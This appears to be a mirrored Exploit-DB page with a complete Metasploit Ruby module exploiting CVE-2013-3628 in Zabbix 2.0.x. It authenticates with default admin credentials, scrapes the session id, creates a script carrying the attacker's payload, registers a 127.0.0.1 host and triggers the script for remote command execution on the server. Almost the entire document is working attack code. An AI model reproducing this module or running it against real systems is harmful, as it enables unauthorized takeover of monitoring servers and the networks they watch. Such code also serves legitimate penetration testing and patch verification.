Zabbix – (Authenticated) Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-10-31
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/29321/
  • #
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit4 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info={})
    super(update_info(info,
    'Name' => 'Zabbix Authenticated Remote Command Execution',
    'Description'=> %q{
    ZABBIX allows an administrator to create scripts that will be run on hosts.
    An authenticated attacker can create a script containing a payload, then a host
    with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host.
    
    This module was tested againt Zabbix v2.0.9.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
    ],
    'References' =>
    [
    ['CVE', '2013-3628'],
    ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
    ],
    'Payload'=>
    {
    'Compat' =>
    {
    'PayloadType'=> 'cmd',
    'RequiredCmd'=> 'generic perl ruby bash telnet python',
    }
    },
    'Platform' => ['unix', 'linux'],
    'Arch' => ARCH_CMD,
    'Targets'=> [['Automatic',{}]],
    'DisclosureDate' => 'Oct 30 2013',
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']),
    OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']),
    OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/'])
    ], self.class)
    end
    
    def check
    init = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, "/index.php")
    })
    
    if !init or init.code != 200
    print_error("Could not connect to server")
    return Exploit::CheckCode::Unknown
    end
    
    if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/
    if $1 >= "2.0.0" and $1 <= "2.0.8"
    print_good("Version #{$1} is vulnerable.")
    return Exploit::CheckCode::Vulnerable
    end
    end
    return Exploit::CheckCode::Safe
    end
    
    def exploit
    c = connect
    
    req = c.request_cgi({
    'method' => 'POST',
    'uri' => '/zabbix/',
    'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in'
    })
    
    login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))
    
    if !login or login.code != 302
    fail_with("Login failed")
    end
    
    sess = login.headers['Set-Cookie']
    
    dash = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, '/dashboard.php'),
    'cookie' => sess
    })
    
    if !dash or dash.code != 200
    fail_with("Dashboard failed")
    end
    
    sid = ''
    dash.body.each_line do |line|
    if line =~ /&sid=(.{16})\">/
    sid = $1
    break
    end
    end
    
    if sid == ''
    fail_with("Could not get sid")
    end
    
    script_title = rand_text_alpha(18)
    post = {
    'sid' => sid,
    'form_refresh' => 3,
    'form' => 'Create+script',
    'name' => script_title,
    'type' => 0,
    'execute_on' => 1,
    'command' => payload.encoded,
    'commandipmi' => '',
    'description' => '',
    'usrgrpid' => 0,
    'groupid' => 0,
    'access' => 2,
    'save' => 'Save'
    }
    
    resp = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/scripts.php'),
    'vars_post' => post,
    'cookie' => sess
    })
    
    if !resp or resp.code != 200
    fail_with("Error creating script")
    end
    
    script_id = ''
    if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/
    script_id = $1
    else
    fail_with("Could not get the script id")
    end
    
    host = rand_text_alpha(18)
    post = {
    'sid' => sid,
    'form_refresh' => 1,
    'form' => 'Create+host',
    'host' => host,
    'visiblename' => host,
    'groups_left' => 4,
    'newgroup' => '',
    'interfaces[1][isNew]' => true,
    'interfaces[1][interfaceid]' => 1,
    'interfaces[1][type]' => 1,
    'interfaces[1][ip]' => '127.0.0.1',
    'interfaces[1][dns]' => '',
    'interfaces[1][useip]' => 1,
    'interfaces[1][port]' => 10050,
    'mainInterfaces[1]' => 1,
    'proxy_hostid' => 0,
    'status' => 0,
    'ipmi_authtype' => -1,
    'ipmi_privilege' => 2,
    'ipmi_username' => '',
    'ipmi_password' => '',
    'macros[0][macro]' => '',
    'macros[0][value]' => '',
    'inventory_mode' => -1,
    'save' => 'Save',
    'groups[4]' => 4
    }
    
    resp = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/hosts.php'),
    'vars_post' => post,
    'cookie' => sess
    })
    
    if !resp or resp.code != 200
    fail_with("Error creating new host")
    end
    
    hostid = ''
    if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/
    hostid = $1
    else
    fail_with("Could not get the host id")
    end
    
    send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"),
    'cookie' => sess
    })
    end
    end